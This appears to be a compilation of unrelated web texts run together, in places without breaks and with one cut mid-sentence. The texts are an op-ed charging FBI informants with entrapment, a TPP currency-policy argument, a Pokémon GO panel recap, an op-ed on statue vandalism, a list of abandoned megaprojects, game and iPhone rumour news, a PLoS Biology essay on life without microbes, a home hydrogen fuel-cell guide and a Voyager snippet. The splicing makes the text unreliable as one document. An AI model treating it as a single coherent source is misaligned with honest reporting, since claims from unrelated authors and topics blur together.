2. Having spotted a candidate B, informant A befriends him and encourages B to vent his anger and dissatisfaction. At one point informant A might suggest to B that Allah put him on this earth for better things and what would he like to do about all that anger and frustration?
3. Now we are at the seminal moment. What if B has no idea what he would like to do? At this point informant A (carefully turning off his hidden recording device) transforms himself into an agent provocateur (remember he has a financial incentive to entrap this guy) and comes up with a suggestion. Why don’t we go blow up an army recruitment center? In other words, A is a confidence artist, a con-man (one of these informants boasted that he could con the kernels off a cob of corn) and is using his “talent” to maneuver his victim, who as yet has done nothing illegal, into an incriminating situation.
4. If B takes the bait, then A leads him on, concocting a plot, perhaps informing B that he A is an agent (not of the FBI of course) of some Pakistani terrorist organization come to the US to wage Jihad. He can supply B with weapons, explosives, vehicles and money. In other words, all the things that B could never have reasonably procured on his own (such as the necessary money or appropriate vehicles). All the things that B has no knowledge how to construct (like a bomb).
5. Eventually B is led to enact the crime, usually using a fake bomb. Then, of course, he gets arrested. Typically, he is sent to jail for decades. A gets paid up to $100,000 by the FBI. Voila, another terrorist plot foiled.
Criminal Cops
There has always been a fine line between the behavior of the criminal and that of the policeman. The police know this to be true and that is why major state and local police departments have internal affairs sections which look out for “criminal cops.” I do not know if the FBI has such an internal operation, but they certainly should.
There are laws against what the FBI is doing. Their informants, at the Bureau’s direction, are not just rooting out criminals, they are inciting the crimes and organizing their commission.
This interpretation of the situation has been raised with Attorney General Eric Holder. His reply is that those who make these accusations “do not have their facts straight or do not have a full understanding of the law.” This is not a very satisfactory response. The FBI will not give us all the facts and in many cases has carefully made sure some of the facts go unrecorded. And, as for the crime of incitement, if you look this topic up using Wikipedia, here is part of what you get: “The plan to commit crime may exist only in the mind of one person until others are incited to join in, at which point the social danger becomes more real. The offence overlaps the offences of counseling or procuring as an accessory.” This is exactly what the FBI informants are doing: counseling, procuring and inciting.
One can go on and read in the Wikipedia piece that incitement exists as a crime because if you wait for the actual crime to be committed, “it is too late to avert the harm. Thus the offence of incitement has been preserved to allow the police to intervene at an earlier time and so avert the threatened harm.” This is probably the part of the law Holder feels is not understood. Yet in the FBI’s “prevention” campaign there is often no evidence of prior intent on the part of those eventually arrested. That is, without the intervention of the informant, without his incitement, there is no evidence that any of these entrapped “criminals” would have done anything wrong. That being the case, it appears that in these incidents, the FBI is inciting others to criminal acts. This is illegal and an egregious abuse of power.
Conclusion
If one thinks this through, it becomes clear that the FBI policy makers have confused thought and action. This is a very Judeo-Christian thing to do. Is the sin in the thought or the action? According to the Old Testament thought will do. You do not have to seduce your neighbor’s wife to break one of the Ten Commandments. All you have to do is “covet” her. To pursue the metaphor a bit further, who is it in the Bible stories who goes around and encourages sin, first in the mind and then in action? Adam and Eve might have occasionally thought about eating that apple, but who incited them to do so? Now we have the FBI reenacting this ancient storyline. They know that there are all these people with the sin of terrorism in their hearts. And, they have taken it upon themselves to play the role of the tempter and move these people from thought to action. It seems to me that there must be a daring cartoonist out there who would like to lampoon Robert Mueller, current Director of the FBI, by drawing him with little horns and a pointed tail.
Peter Ahearn, a retired FBI agent who has directed some of these entrapment operations, would get upset at such a cartoon. He is one of the strongest defenders of “prevention.” According to Mr. Ahearn it is important to understand who the FBI is dealing with. These are not “real people.” How so? Ahearn explains that “real people don’t say ‘Yeah, let’s go bomb that place.’ Real people call the cops.” Alas, calling the cops has been tried. When one of the FBI’s more aggressive informants was “trolling” the mosques in the Los Angeles area representatives of the Muslim community called the FBI to report him as a potential terrorist. Nothing happened. The FBI did not act as a “real cop” should and arrest this fellow. The community’s lawyers could not find anyone to arrest him and had to go to court to get a restraining order to get him out of the community. Tell me Peter Ahearn, how many “real cops” do you have in the FBI anti-terrorism unit?
Finally, there is a good chance that “prevention” is making us all less safe. This is because the program will likely make any “real” lone wolf act truly as a loner. If there is anyone out there with actual terrorist designs they are by now forewarned not to share their intentions with anyone for fear of potential informants. They will act alone. In such a way is the road to hell paved with (alleged) good intentions.
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[youtube 3XXEMwhizCE]Members of Congress and interested observers have advocated adding a chapter to the Trans Pacific Partnership trade deal (TPP) that takes action against trading partners who manage their currencies to subsidize their exports to us and tax our exports to them. An often heard argument against this idea is that it would put our own Federal Reserve Bank in the cross hairs.
In order to lower the cost of borrowing and stimulate demand in weak economies, the Fed lowers the short-term interest rate or engages in “quantitative easing” to lower longer term rates. One side-effect of such actions is to lower the value of the dollar. But that doesn’t imply currency management by a long shot.
In fact, there are at least two ways to distinguish between domestic demand management or currency management: one, is the central bank loading up on foreign currencies, and two, is the country running a persistent and large current account surplus?
Obviously, the fact that we’ve run trade deficits averaging -2.5 percent of GDP since the mid-1970s insulates us from the second criteria.
But not only do we very rarely intervene in currency markets, the fact that we own the world’s main reserve currency (we don’t buy dollars…we print them) and maintain flexible exchange rates makes it extremely unlikely that we would be designated a manipulator by any sensible rule.
As Rep. Sandy Levin recently stressed in a detailed piece covering many of these points, the US currently holds about $126 billion in foreign exchange compared to China’s almost $4 trillion. Thailand, Taiwan, and Singapore, tiny economies compared to ours, all hold more reserves than we do.
In fact, the real challenge in crafting effective currency rules is not protecting our central bank. No plausible set of rules would implicate our Fed. The challenge is keeping other countries’ central banks from being labeled manipulators when their exchange rates are reasonably aligned. Most analysts, for example, believe that even while China holds trillions of dollars in reserves and still has a large current account surplus, its exchange rate is about where it should be (note: China is not a TPP country).
Thus, the rule needs to consider not just stocks (trade surpluses, reserve holdings) but also flows (are surpluses or reserves growing?) as well as established metrics such as those of the IMF (see Levin link above) that look for large scale, one directional purchases of reserves, reserve holdings that are numerous multiples of foreign debts, and more. Bill Cline, of IIE, has long estimated currency alignments (see his figure 2 here) based on how much exchange rates would have to change in order to bring current account imbalances within ±3 percent of GDP (where + is of course the relevant sign in identifying manipulation). Such rules, I believe, could handily discern demand management from currency management.
The problem with the anti-currency-chapter argument is that it essentially says: we can have an active Federal Reserve Bank or we can have a clear policy against currency managers. We can’t have both. Which, one layer down reads: sorry, to spare the Fed from international scrutiny we’ve got to live with large, persistent trade deficits. Another layer down: if we want a Fed that can manage the macro-economy, then we have to accept mis-aligned exchange rates such that our exporters must compete on a playing field that’s often sharply tilted against them.
Also, note that this position doesn’t just say we can’t have a currency chapter in the TPP. It implies we can never take action beyond quiet diplomacy—urging our trading partners not to manipulate exchange rates—without compromising our Fed’s independence.
I understand that Treasury and other TPP’ers emphasize the impact of their quiet diplomacy. But most analysts agree that while helpful, that approach alone is insufficient. And our record of persistent current account deficits shows this to be the case.
I, for one, have been careful in my writings not to outright oppose a TPP. I’m sympathetic to the notion that since we already have lower tariffs than our trading partners, there are gains to be made on this front. But if the negotiators are truly saying we simply cannot have a trade deal that blocks currency managers, then maybe we shouldn’t have a trade deal.The Pokémon GO panel at San Diego Comic-Con got bumped up to Hall H after the game became a global phenomenon seemingly overnight. John Hanke, head of Niantic came to the 4,000 capacity room with host Chris Hardwick to talk about the game - and promised some announcements at the start of the panel.
Hanke started by talking about the founding of Niantic - he and the programmers there are actually the people who built Google Earth. He wanted then to continue to explore maps and the world around them, and how it could be applied to gaming.
They went with AR instead of a VR experience because it’s “a way to enhance things that we already do, make everything more fun and add a little more happiness and joy and intrigue to life,” Hanke said. He’s encouraged by how the game is bringing people together, and that friends are playing together and even making new friends through the game.
They started with Ingress, a game that is similar, and recently had an event for that in Tokyo with 14,000 people in attendance.
"It was a really strange experiment," Hanke said of Ingress. They built it while they were still at google, before spinning out. "It was our first run at building a game like this. The idea was let's see what works, prove the platform and technology, then use that to build more games. We started looking at how we could bring more people in on the secret when it worked, and that's how we came to Pokemon GO.
Hardwick talked about going to the Griffith Observatory and seeing people of all ages and types playing the game, then talked about the way the Pokemon actually spawn.
"Yeah, we try to spawn the Pokemon based on where they'd actually exist in the real world," Hanke said. Water Pokemon spawn near water, for example.
Hanke declined to give numbers on their users, but "we weren't provisioned for what happened." They added servers right away, but that then added some bugs, and it was difficult to keep up.
Hardwick said that when he met Hanke yesterday, a Pikachu showed up, and he “spent the first ten minutes” of their rehearsal catching it.
Moving back to the idea that walking around is good for you, Hanke was happy that they could "roll that in" and make it a part of their fun product. "I have a ten year old who loves Minecraft, like any ten year-old. But he's begging his mom to go on 5km and 10km walks to hatch his eggs, so my wife is happy about it!"
A Now This video about how a children's hospital at University of Michigan is using the game to help get kids into physical therapy. "Obviously we're not doctors and didn't think about it from that point of view. From the perspective of us at Niantic and the team, the thing that keeps us working is to hear back stories like that."
Hanke encouraged fans to keep tweeting about it and sharing their experiences with Niantic and create a "positive cycle" to "get us as a society through the stuff that we're going through right now."
"There are a certain set of Pokemon in the game right now. There are some rare ones that haven't showed up yet that will be showing up. And there are some other ones in the universe, it's something we're excited about continuing with in the coming years," Hanke said.
"Trading is not in Pokemon GO today, but it's something we're working on bringing to the product. Don't get too excited - we need to make sure we can keep the servers up first!"
Hanke also teased that there is other functionality they want to bring to the game, including new Poke Stop customizations, including hospitals and other capabilities.
"We have probably a tenth of the ideas we had when we kicked this project off two years ago in the initial release."
Hanke confirmed the Eevee name hack, where if you name it properly you can control how it evolves. "There might be a few other Easter Eggs in there that have yet to be discovered, as well," he teased.
Hanke loves the PokeWalks that have been going on - one in San Francisco had 9,000 RSVPs to it. "Our servers were down part of that day and our team worked non stop to make sure they were up again in time for that."
Fan Q&A started and the first question was whether there could be Breeding in the game. "Interesting idea - we've not been working on it, but there has been some discussion about it."
Training update? "We said we're gonna do it, we teased it, but he wants the date! He's got a future as a project manager," Hanke said of the small giggling child who asked point blank about it. "We don't have an exact date, but it's at the top of our priority list."
Do the legendary birds have something to do with the three teams? "Yeah, they're kinda aligned with the teams, and we might have something to announce about the teams soon."
A Team Valor fan asked about whether Legendary Pokemon would be showing up at events like today, and got made fun of by Hardwick for his team. "If I could summon a Pokemon for you here right now, I would," Hanke said. "We're working hard. We haven't rolled the game out everywhere yet, we're adding countries every day. We're gonna get there, but there's no new Pokemon here today."
Hanke said they acknowledge the Gym poaching that's happening, and it's on the list of things they want to fix. The three step bug, too, "We've heard about it on the interwebs. We're aware of that one."
"We're debuting for you the leadership of Team Mystic," and her name is Blanche.
The leader of Team Instinct is a guy named Spark.
Team Valor's leader is a girl named Candela.
They'll be in the game soon, dispensing advice and "you'll be hearing from them in a variety of ways," Hanke said.
"Always spin, use the lucky eggs, and keep in mind the spirit of the game," Hanke said as closing words.The people who are tearing down statues of Confederates in the South are barbarians, not notably different from the Taliban fanatics who blow up Buddhas and other historical monuments. Many have noted that if the barbarians want to erase Robert E. Lee and Jefferson Davis today, it is only a matter of time before they come for George Washington and Thomas Jefferson.
We can add Abraham Lincoln to that list. Last night, a bust of Lincoln in Chicago was vandalized, apparently as a political act:
Abraham Lincoln has joined George Washington on the list of those targeted by Chicagoans in a national debate over Civil War-era monuments. Alderman Raymond Lopez took to Facebook Wednesday night to decry a defaced statue of the nation’s 16th president in the Englewood neighborhood. The giant bust appears to have been damaged after someone in the 15th Ward sprayed and ignited a flammable liquid.
Alderman Lopez called on residents to contact the police with any information about the vandalism. His request did not meet with universal approval:
“F- Abe Lincoln,” responded Quintin Mitchell, whose comment was “liked” or deemed “funny” by 160 others.
These are not good people. There is, of course, no coherent theory on which the Left should try to erase Lincoln from our history, but so what |
desalination plants were built but never used. Following a cruel 12-year drought in Australia that ended in 2010, national authorities launched an aggressive program of desalination development in big coastal cities. Almost $US 10 billion was invested in four big desalination plants in Sydney, Adelaide, Melbourne, and Brisbane. The Melbourne plant alone cost $US 4 billion, making it the most expensive reverse-osmosis desalination facility in the world. The plants were ultimately so expensive to operate that were immediately shuttered.
Shell’s Arctic drilling campaign shut down. In September 2015, after spending $7 billion and asserting that its Chukchi Sea offshore drilling project would yield world-class quantities of oil and natural gas, Royal Dutch Shell pulled out of the Arctic. The company cited as reasons its fruitless effort to discover commercial quantities of fossil fuels, dangerous Arctic drilling conditions, rising expenses, and civic protest.
$5.9 billion Tampakan copper and gold mine on Mindanao, Philippines. In 2015 Glencore, one of the world’s largest mining companies, pulled out of the development of one of the richest precious metal prospects on Earth. The mine has been the focus of fierce local conflict for over a decade following a tailings pond disaster at the Marcopper open pit copper mine on Marinduque Island. A breach in the tailings pond containment wall in March 1996 unleashed millions of tons of toxic mud and water, flooding communities and ruining productive fisheries. In April 2017 the Philippines banned new open pit mining.
III. Cost Overruns Lead to Failure
VC Summer nuclear power station, one-third completed, was abandoned in South Carolina on July 31, 2017. Construction on the Westinghouse-designed, 2,200-megawatt generating station started in 2013 and was scheduled to be completed by 2018 at a cost of $11.8 billion. Scana Corp. and South Carolina Electric and Gas, the plant’s developers, stopped work after estimated completion costs ballooned to $25 billion and the construction schedule was extended well into the 2020s. The decision to halt the project came four months after Westinghouse declared bankruptcy.
Keith Schneider, who’s reported on energy, water, and the environment from the frontlines of six continents, is the western environment and public lands correspondent for the Los Angeles Times and senior editor for Circle of Blue.Get the latest news and videos for this game daily, no spam, no fuss.
During a livestream broadcast today, representatives for Microsoft confirmed that Gears of War 4 may launch a little sooner than expected.
The company announced that the Xbox One game is now slated to launch in fall 2016 (via NeoGAF). Previously, the action game--which was officially announced at E3 last summer--was slated for "holiday 2016."
You may not have to wait until fall 2016 to play, however, as the Gears of War 4 beta is scheduled to arrive this spring. The more than 1 million people who bought Gears of War Ultimate Edition get to play first.
Also during the livestream, it was revealed that 45 percent of Ultimate Edition players are new to the Gears of War franchise. This would theoretically bode well for Gears of War 4. But note that Ultimate Edition was included with the Xbox One Black Friday bundle, which Microsoft continues to sell.
For more on the Gears of War franchise, you can read our interview with producer Rod Fergusson about Ultimate Edition, Gears of War 4, and the future of the Gears of War series. Keep an eye on GameSpot for more news about Gears of War 4 in the coming months.The iPhone 6s and iPhone 6s Plus went on sale last week, but that has not stopped rumors about the iPhone 7 — due to be launched late next year — from making their way to the Internet.
The latest set of rumors originating from China for the iPhone 7 claim that Apple is testing a waterproof and dustproof design for it. The iPhone 6s and iPhone 6s Plus don’t feature any kind of IP certification, but they still managed to survive this underwater test that lasted for an hour.
Another posting on Weibo claims that Apple plans on moving away from the metallic frame that it has used on the iPhone 6 and iPhone 6s. The new material that Apple plans on using on the next-generation iPhone remains unknown for now, though the company has already developed the first prototype based on this new material.
Lastly, the rumor claims that the iPhone 7 will feature a completely flat LCD panel. The iPhone 6s and iPhone 6s Plus already feature a flat LCD panel, so it is likely that the rumor is pointing towards the curved glass protecting the display found on the existing iPhones.
Considering that the iPhone 7 is still a year away from being announced and is in early stages of development, it is entirely possible that the device will be completely different from what the rumors mention above.
[Via Mac Otakara]
Like this post? Share it!Citation: Gilbert JA, Neufeld JD (2014) Life in a World without Microbes. PLoS Biol 12(12): e1002020. https://doi.org/10.1371/journal.pbio.1002020 Published: December 16, 2014 Copyright: © 2014 Gilbert, Neufeld. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: JAG is supported by the Alfred P Sloan Foundation. JDN is supported by funding from the Canadian Institutes for Health Research (CIHR) and the National Science and Engineering Research Council (NSERC). The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Competing interests: The authors have declared that no competing interests exist.
“Life would not long remain possible in the absence of microbes.”—Louis Pasteur Or would it? How many times have we started proposals, manuscripts, or presentations with compelling statements about the critical roles that microorganisms play in sustaining life? How often has the possibility of a world without microbes been explored in our introductory microbiology classes? Within the human microbiome research community, entire fields explore the interdependence of humans and their microbial counterparts. But what would happen in a world without microbes? In order to promote discussion about the value of microbial services supporting life on this planet, we explore the opportunities and challenges of a microbe-free existence. Our discussion begins by considering life without the human gut microbiome, follows with a hypothetical scenario of a world without Bacteria and Archaea, and concludes with the implications of a world without all microbes, including microbial eukaryotes and viruses. We do not include the organelles, such as mitochondria and chloroplasts, as microbes in our discussion, simply because most eukaryotic life would cease instantly in their absence. We argue that despite myriad fundamental roles that microorganisms contribute to human and environmental function, it would be false to claim that macroscopic life cannot exist without microbes. However, although life would persist in the absence of microbes, both the quantity and quality of life would be reduced drastically.
Gnotobiotic Life The concept of animals existing in complete isolation from microorganisms originated with Louis Pasteur [1], who also predicted that an animal's existence would be impossible without microbial life. Ten years later, George Nuttal and Hans Thuerfelder disproved Pasteur's prediction by removing microorganisms from a guinea pig [2]. Much later, James Reyniers and colleagues reared rats and chickens in gnotobiotic conditions (gnos, known; bios, life; i.e., “germfree”), enabling the development of germfree animal populations for research [3],[4]. Reynier's bioengineering-driven efforts to generate “pure units” of biology for experimental study resulted in technology that enabled gnotobiotic life. Thus began not only a field of scientific endeavor that would alter the face of medical and biological study but also a cultural phenomenon centered on an obsession with eliminating microorganisms from the human experience, with extremes leading to “germophobia.” The gnotobiotic condition has often been purported to enable an animal to enjoy improved physiological health, even leading to an increased life span. Misinterpreted reports from early 20th century research propagated the misconception that animals, including humans, might thrive without microbes, producing healthier children and adults [5]. However, such generalizations are oversimplified. Although the absence of microorganisms, pathogens included, does tend to increase lifespan [6], germfree animal physiology and immunology are altered, with poorly characterized consequences. Gnotobiotic animals have reduced motility in the bowel that results in a greatly enlarged cecum, which can lead to lethal complications [7]. In addition, these animals possess smaller lymph nodes and a poorly developed immune system, including reductions in serum immunoglobulin and leukocytes. Germfree animals also exhibit reduced organ sizes, including for the heart, lungs, and liver. Certain other aspects of gnotobiotic development have not been rigorously examined. For example, gnotobiotic conditions may have unforeseen consequences on mental health due to the myriad interactions between the gut microbiome and neurophysiological health and development [8],[9]. Although animal life can survive without direct physical contact with Bacteria and Archaea, are microorganisms necessary for generating the nutritional requirements, dietary supplements, and foodstuffs required for metabolism? Indeed, early experiments in gnotobiotic systems resulted in nutrition-related deaths because microorganisms associated with these animals produced growth factors essential to the host [5]. Today, such nutritional issues have largely been solved. Animals can spend their entire lives absent of microbial flora because all required dietary components can be synthesized chemically, without the need for a biological precursor. Despite the possibility of meeting nutritional requirements for a human germfree existence, perhaps the most substantial barrier for our species embracing a gnotobiotic lifestyle is this: who would want to live inside a bubble? Without the commensal microbes that colonize our bodies and train our immune systems, sudden exposure to pathogenic microorganisms would likely result in a disease burden that would shorten our lifespans dramatically. A bubble would be essential for maintaining gnotobiotic life in our current world, as it was for David Vetter [5]. The physiological and psychological consequences of rearing a human being to adulthood under gnotobiotic conditions are entirely unknown.
Bacteria and Archaea What if we could live a germfree life outside the bubble? What if all prokaryotic microorganisms on Earth disappeared suddenly? If someone were to wave an antimicrobial wand and eliminate all bacterial and archaeal life on the planet, what would happen? The usual rhetoric is that life as we know it would end, human societies would collapse, and eukaryotic life would cease to exist. Is all of this true? These same questions were asked by Moselio Schaechter as part of the “Talmudic Questions” series of the Small Things Considered blog [10]. David Lipson's subsequent response focused correctly on the immediate problem of nitrogen. Plants require fixed nitrogen, and bacteria play an essential biological role in the fixation process. Lipson suggests that, without help from humans, most global photosynthesis would cease within a year. Humans could potentially increase synthetic fertilizer production via the Haber-Bosch process and initiate a massive global fertilization scheme, alleviating some of the enormous losses of life. Such human intervention would be facilitated, to some extent, by the absence of bacterial denitrification and anaerobic ammonia oxidation, which would otherwise deplete fixed nitrogen. Ultimately, nitrogen would begin to accumulate in the global oceans. One possibility is that life would distribute along the coasts, where N-rich fish could be harvested and fixed nitrogen scavenged from seawater when atmospheric nitrogen depletion, due to the Haber-Bosch process, exhausted atmospheric reserves. Unfortunately, the inevitable increase in atmospheric CO 2 concentration due to animal respiration and human fossil fuel use would lead to rapid global warming through the greenhouse effect. Lipson points out that the process would require hundreds of years to eliminate life on the planet—ample time to find a carbon capture solution? In this way, some degree of agricultural food production and marine photosynthesis could continue indefinitely, supporting a subset of humans. Nonetheless, the world's oceans and soils would likely begin a process of stagnation due to the myriad absent contributions to global biogeochemistry. What about humans and our ability to breathe? How much of global atmospheric oxygen is accounted for by bacterial activity? Oxygenic photosynthetic progenitors transformed the world's atmosphere from anoxic to oxic during the Great Oxygenation Event, beginning approximately 3,000,000,000 years ago [11]. Prochlorococcus and Synechoccocus are now two of the world's most abundant cellular life forms, filling the ocean to varying degrees from pole to pole, generating oxygen as a byproduct of sunlight-driven photosynthesis. If these great oxygen sources vanished from the world's oceans, lakes, surface soils, and plant surfaces, then what would happen? Perhaps surprisingly, it is unlikely that anything problematic for aerobic life would happen for at least a few hundred thousand years. Assuming humans could distribute nitrogen globally, algae and plants could be expected to continue generating a proportion of available atmospheric oxygen, potentially as high as 50% [12]. Existing pools of atmospheric oxygen might satisfy the demand for aerobic metabolism among surviving organisms, possibly for decades or centuries. If this were the case, then asphyxiation of aerobic life would not be likely in the near term. What about all the accumulating waste? For example, in a world free of Bacteria and Archaea, the most immediately impacted entities would be bacteriophage (i.e., viruses that prey on host bacteria) and archaeal viruses, which would likely disassociate without their coevolved hosts. With an estimate of ∼1×1030 phage in the world [13], one wonders what the release of so much carbon, phosphorous, and nitrogen contained in their DNA, RNA, and capsid proteins would do to global ecosystems and biogeochemistry. Perhaps more importantly, prokaryotic biomass represents roughly one-half of all global biomass. If the antimicrobial wand did not result in the actual disappearance of these cells, then waste bacterial and archaeal cells would further contribute to biomass decomposition problems. Would the higher microbial life forms (e.g., aerobic and anaerobic fungi and protists) be able to decompose and assimilate it sufficiently? Whereas insects, microscopic animals, protists, slime molds, and fungi do much of the initial biomass decomposition for material recycling, Bacteria and Archaea contribute unique and essential roles for completing the task, especially under anoxic conditions (e.g., anaerobic respiration, interspecies hydrogen transfer, and methanogenesis). Biomass would likely begin to accumulate, particularly at the molecular level, creating vast reservoirs of biogeochemical waste that no biological entity could transform, at least initially. This would lead to the eventual disruption of the biogeochemical recycling upon which all life ultimately depends and a gradual return of these persistent compounds to geological material. For example, phosphorous would begin to disappear, given that it is a nonrenewable element. The ocean would become virtually nonproductive, possibly within decades, without the regeneration of phosphorous in the water column. Phosphorous sequestration to sediments would impact marine primary production, which would be difficult to offset sustainably by anthropogenic inputs, especially given an eventual depletion of phosphorous mines. Another consideration is that most living organisms must complement their diet with bacterial and archaeal cofactors and enzymatic activity. For example, without Bacteria and Archaea, ruminants (e.g., cows, sheep, and goats) would be almost completely unable to derive benefit from a cellulose-heavy diet in the absence of nutritional intervention by human chemists. Although humans depend on microbial vitamins and amino acids obtained through diet or our gut microorganisms, we might successfully synthesize nutritional compounds through chemical ingenuity or by recombinant biotechnology with yeast as a surrogate host. Other organisms would have less potential for human intervention. For example, termites and their anaerobic protists depend on bacterial and archaeal symbionts for their metabolism. Moreover, more than half of all phytoplankton require vitamin B 12 from bacterial partners [14]. As such, many eukaryotes, including termite and phytoplankton species, would likely expire by nutrient and cofactor starvation in a world deprived of Bacteria and Archaea. In summary, most global biogeochemical cycling would grind to a halt in a world without Bacteria and Archaea; humans would need to fix and distribute nitrogen for maintaining crop production. Fungal decomposition would become the critical link between organismal death and decay and the return of decomposed nutrients to the bottom of the eukaryotic food chain. Most species on Earth would become extinct, and population sizes would be reduced greatly for the species that endured. How long would it take for humans to notice what had happened? Surprisingly, humans would fail to see many signs of this global change for a few days or weeks. We could still digest our food, as do gnotobiotic animals, assimilating most of what we consumed. We would still battle viral, fungal, and parasitic infections. Even though our dairy industries, cattle farmers, biotechnology companies, food producers, hospitals, and wastewater treatment systems would begin making headlines within a day or two, it would take us nearly a week to realize what had happened. We predict complete societal collapse only within a year or so, linked to catastrophic failure of the food supply chain. Annihilation of most humans and nonmicroscopic life on the planet would follow a prolonged period of starvation, disease, unrest, civil war, anarchy, and global biogeochemical asphyxiation.
Microbes If the antimicrobial wand were waved, this time removing all microbes (i.e., viruses, Bacteria, Archaea, fungi, and protists—algae and others) from the planet, what would happen next? One of the very first observations in a world without all microbes would be a shocking absence of all forms of microbial disease, including Ebola, malaria, the common cold, ulcers, Clostridium difficile, and athlete's foot, to name a few. This complete freedom from microbial illness would be welcomed, initially, by jubilant media headlines announcing a global microbiological “miracle.” How long would it take for the celebrations to cease? If all microbes were to disappear, the future of life on the planet would parallel a world without Bacteria and Archaea (i.e., calamitous; see above), except that the myriad environmental impacts would be more acute. Even more so than in a Bacteria- and Archaea-free world, most biogeochemical cycling would cease; human and animal waste would accumulate rapidly. There would be very little decomposition apart from disassociation and inherent catabolic enzymatic activity. The essential role that microbes play in biomass recycling would not be served even by fungi or protists, resulting in a rapid exhaustion of available macronutrients and micronutrients in terrestrial and aquatic environments. Living food sources would be increasingly difficult to find. As described earlier, most ruminant livestock would starve without microbial symbionts, and plants would rapidly deplete nitrogen, cease photosynthesis, and then die. Intensive human intervention required to produce and distribute sufficient vitamins, plant fertilizers, and food sources would likely overwhelm ingenuity in the face of mounting environmental, ecological, and humanitarian disaster. As with a Bacteria- and Archaea-free world, small pockets of humans and other animals (e.g., insects) would survive for a time, decades or centuries even, but long-term survival of most eukaryotes would be doubtful.
Conclusion Microbes sustain life on this planet because of their myriad associations and biogeochemical processes. Nonetheless, their roles are not necessarily irreproducible. When you next hear someone claim that we cannot live without microorganisms, it would be appropriate to ask them to qualify the statement. Would we still be able to eat and digest food? Yes. Would life be extinguished in the absence of Bacteria and Archaea or in a world without any microbes? Not immediately, not all life, and potentially not for a long time. In short, we argue that humans could get by without microbes just fine, for a few days.* Although the quality of life on this planet would become incomprehensibly bad, life as an entity would endure. * If we do include mitochondria and chloroplasts as Bacteria, as we should, then the impact would be immediate—most eukaryotes would be dead in a minute.
Acknowledgments Barbara J. Butler is thanked for constructive comments on this manuscript.by
Most of the big players in the USA who were initially planning on providing fuel cells for residential homes have either gone out of business or shifted to selling products for Telecom backup. It’s simply easier and more cost effective for them to sell thousands of units to a single customer who has established maintenance infrastructure than to sell a single unit to 1,000 individuals who may not be as rigorous on installation and maintenance. This means that if you are a single home who wants to either go off-grid or partially off-grid with a fuel cell, you essentially have to build it yourself at the moment or we can assist you with putting together a one-off system. Since there isn’t a commercially available option, custom systems can cost $35,000 – $100,000+. The fuel cell industry changes so frequently, if there is a provider for residential fuel cells out there currently delivering actual products, please leave a comment and a link or email us.
By the way, we work primarily with PEM fuel cells so this article will mostly be addressing those.
Hydrogen Supply
First off, you will need a supply of Hydrogen to fuel your Fuel Cell. Depending on your goal, you can get this in several different ways: delivered hydrogen (e.g. tube trailers, cylinders, etc), on-site generated (e.g. electrolyzer) or reformed.
Delivered – This is pretty straight forward. You pay someone and they bring you Hydrogen, typically in either a tube trailer, 6-pack of gas cylinders, etc. This would be common for emergency backup type of systems where the system isn’t consuming hydrogen continuously and is only used periodically or in emergencies. This would not be uncommon for the Telecom backup systems since they typically are only turned on briefly once a month for testing and only need enough hydrogen on-site to run for several hours in case of loss of primary power.
On-site Generated – This would be the most renewable option and is typical for fully and partially off-grid applications. In this case you would take power when it’s available and use it to generate hydrogen by electrolyzing (splitting) water. This Hydrogen is then stored for periods when you do not have power available. A common scenario might be if you have solar you may use excess solar power during the day to generate hydrogen, then when the sun goes down or on a cloudy day you can consume the hydrogen you generated previously to generate electricity in your fuel cell.
Reformed – This is a process for taking hydrocarbons (typically Natural Gas [NG], Propane, etc) and reforming it in a combustion chamber to produce hydrogen gas. For use in a PEM fuel cell the hydrogen would need to be purified.
Hydrogen Storage
Once you have your hydrogen, you often will want to store it. How much hydrogen you want to store will depend on how much power you need (and the hydrogen consumption rate at that power) and how long you need that power. In the solar example above, if you assume that you will be generating excess electricity from solar for 8 hours a day and that you will consume 2 kW for the other 16 hrs you will need:
26 LPM Hydrogen (from the 2 kW FC Specifications) * 60 min/hr * 16 hrs/day = 24,960 L per day.
Assuming you will be consuming the full 2 kW the entire time. If you operate at less than 2 kW you will obviously consume less fuel.
This is the equivalent to approximately (5) K sized bottles of Hydrogen. Not unmanageable.
You can also store at much higher volumetric densities using metal hydrides. These will be more expensive, but if space is a concern it may be worth it.
The Fuel Cell
Now we get to the heart of the system, the fuel cell. This is actually not that complicated either. You can purchase a fuel cell stack that has basic system and controls and outputs a variable level DC that can then be converted to AC for your home (see next section). Please note that these fuel cells will not operate below freezing.
We can spend a little more effort in this section speaking about how big of a fuel cell you need. For homes, the rough approach is to take your monthly utility bill with your monthly energy usage in kWh and divide that number by the number of hours in a month. For example, if you were billed for 909 kWh in a typical 30 day month (the US average, according to US Energy Information) that would be:
909 kWh / 30 days / 24 hrs/day = 1.26 kW
Note: this is the average power consumption of the home over the month and does not represent the amount of power your home draws at any given time. For example, during periods when the air conditioner, heater, microwave, hair dryer, etc is operating you may consume significantly more than this. When it shuts down you will consume much less. If you are operating a grid-tie system, then you are probably good to size for the average consumption. During periods of high demand you will use extra power from the grid while during lower usage time you could put power into the grid, giving you a net zero energy usage (how you’re billed/credited will vary with your local and state regulations).
If you are working to be completely off-grid with no connection at all, you will need to analyze your actual expected loads at any given time a little closer and be sure that your system can handle the larger sustained loads (e.g. while the AC/Heat is on) as well as any transient loads (e.g. the very short spike that occurs when motors or compressors first come on – this can often be taken up with a small battery bank). One way to do this is to just make a list of all of your loads and start adding them up. The more advanced method would be to use some of the home power monitoring products to get a map of your power usage over time.
Connecting to your Home
This can be a little more complicated. If you are 100% off the grid and do not have any connection to the local power grid you can use a standard inverter. If you are connected to the grid you will need to use a “grid tie” inverter. This matches the AC output with the grid AC so that it is in-sync and doesn’t cause any damage to the equipment/grid/etc. These are more expensive.
General Safety: Remember to take care in working with flammable gas of any kind. While Hydrogen actually has many characteristics that make it safer than gasoline (e.g. it disperses more rapidly, has a narrower flammability limit, etc) it is still dangerous. Especially since it is typically in compressed form and so exhibits all the safety concerns of any compressed gas. Be sure to include hydrogen sensors in any enclosures which will trigger safe shut down and that everything is proper ventilated, etc. As with any potentially dangerous chemical or device: If you don’t understand working with Hydrogen, don’t do it.It would be hard enough these days to find a human capable of playing a 12-inch LP, let alone an alien. So perhaps it is time for Nasa to update its welcome pack for extraterrestrials.
The agency announced earlier this month that its Voyager 1 probe has left the solar system, becoming the first object to enter interstellar space. On board is a gold-plated record from 1977.
